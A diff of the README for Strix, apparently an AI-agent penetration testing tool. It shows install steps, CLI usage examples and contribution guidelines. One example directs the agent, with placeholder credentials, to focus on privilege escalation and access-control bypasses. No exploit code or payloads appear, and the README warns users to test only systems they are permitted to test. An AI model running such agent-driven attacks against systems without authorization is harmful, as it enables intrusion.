- Get penetration tests done in hours, not weeks, with compliance reports.
|
|
76
|
+
- Automate bug bounty research and generate PoCs for faster reporting.
|
|
77
|
+
- Run tests in CI/CD to block vulnerabilities before reaching production.
|
|
78
|
+
|
|
79
|
+
---
|
|
80
|
+
|
|
63
81
|
### 🚀 Quick Start
|
|
64
82
|
|
|
83
|
+
Prerequisites:
|
|
84
|
+
- Docker (running)
|
|
85
|
+
- Python 3.12+
|
|
86
|
+
- An LLM provider key (or a local LLM)
|
|
87
|
+
|
|
65
88
|
```bash
|
|
66
89
|
# Install
|
|
67
90
|
pipx install strix-agent
|
|
@@ -74,12 +97,11 @@ export LLM_API_KEY="your-api-key"
|
|
|
74
97
|
strix --target ./app-directory
|
|
75
98
|
```
|
|
76
99
|
|
|
77
|
-
|
|
100
|
+
First run pulls the sandbox Docker image. Results are saved under `agent_runs/<run-name>`.
|
|
101
|
+
|
|
102
|
+
### ☁️ Cloud Hosted
|
|
78
103
|
|
|
79
|
-
|
|
80
|
-
- **Real Validation** - Dynamic testing and actual exploitation, thus much fewer false positives
|
|
81
|
-
- **Developer-First** - Seamlessly integrates into existing development workflows
|
|
82
|
-
- **Auto-Fix & Reporting** - Automated patching with detailed remediation and security reports
|
|
104
|
+
Want to skip the setup? Try our cloud-hosted version: **[usestrix.com](https://usestrix.com)**
|
|
83
105
|
|
|
84
106
|
## ✨ Features
|
|
85
107
|
|
|
@@ -124,6 +146,9 @@ strix --target https://your-app.com
|
|
|
124
146
|
|
|
125
147
|
# Focused testing
|
|
126
148
|
strix --target api.your-app.com --instruction "Prioritize authentication and authorization testing"
|
|
149
|
+
|
|
150
|
+
# Testing with credentials
|
|
151
|
+
strix --target https://your-app.com --instruction "Test with credentials: testuser/testpass. Focus on privilege escalation and access control bypasses."
|
|
127
152
|
```
|
|
128
153
|
|
|
129
154
|
### ⚙️ Configuration
|
|
@@ -150,19 +175,33 @@ Our managed platform provides:
|
|
|
150
175
|
- **🔌 Third-Party Integrations**
|
|
151
176
|
- **🎯 Enterprise Support**
|
|
152
177
|
|
|
153
|
-
[**Get Enterprise Demo →**](https://
|
|
178
|
+
[**Get Enterprise Demo →**](https://usestrix.com)
|
|
154
179
|
|
|
155
180
|
## 🔒 Security Architecture
|
|
156
181
|
|
|
157
182
|
- **Container Isolation** - All testing in sandboxed Docker environments
|
|
158
183
|
- **Local Processing** - Testing runs locally, no data sent to external services
|
|
159
184
|
|
|
160
|
-
> [!NOTE]
|
|
161
|
-
> Strix is currently in Alpha. Expect rapid updates and improvements.
|
|
162
|
-
|
|
163
185
|
> [!WARNING]
|
|
164
186
|
> Only test systems you own or have permission to test. You are responsible for using Strix ethically and legally.
|
|
165
187
|
|
|
188
|
+
## 🤝 Contributing
|
|
189
|
+
|
|
190
|
+
We welcome contributions from the community! There are several ways to contribute:
|
|
191
|
+
|
|
192
|
+
### Code Contributions
|
|
193
|
+
See our [Contributing Guide](CONTRIBUTING.md) for details on:
|
|
194
|
+
- Setting up your development environment
|
|
195
|
+
- Running tests and quality checks
|
|
196
|
+
- Submitting pull requests
|
|
197
|
+
- Code style guidelines
|
|
198
|
+
|
|
199
|
+
### Prompt Modules Collection
|
|
200
|
+
Help expand our collection of specialized prompt modules for AI agents:
|
|
201
|
+
- Advanced testing techniques for vulnerabilities, frameworks, and technologies
|
|
202
|
+
- See [Prompt Modules Documentation](strix/prompts/README.md) for guidelines
|
|
203
|
+
- Submit via [pull requests](https://github.com/usestrix/strix/pulls) or [issues](https://github.com/usestrix/strix/issues)
|
|
204
|
+
|
|
166
205
|
## 🌟 Support the Project
|
|
167
206
|
|
|
168
207
|
**Love Strix?** Give us a ⭐ on GitHub!
|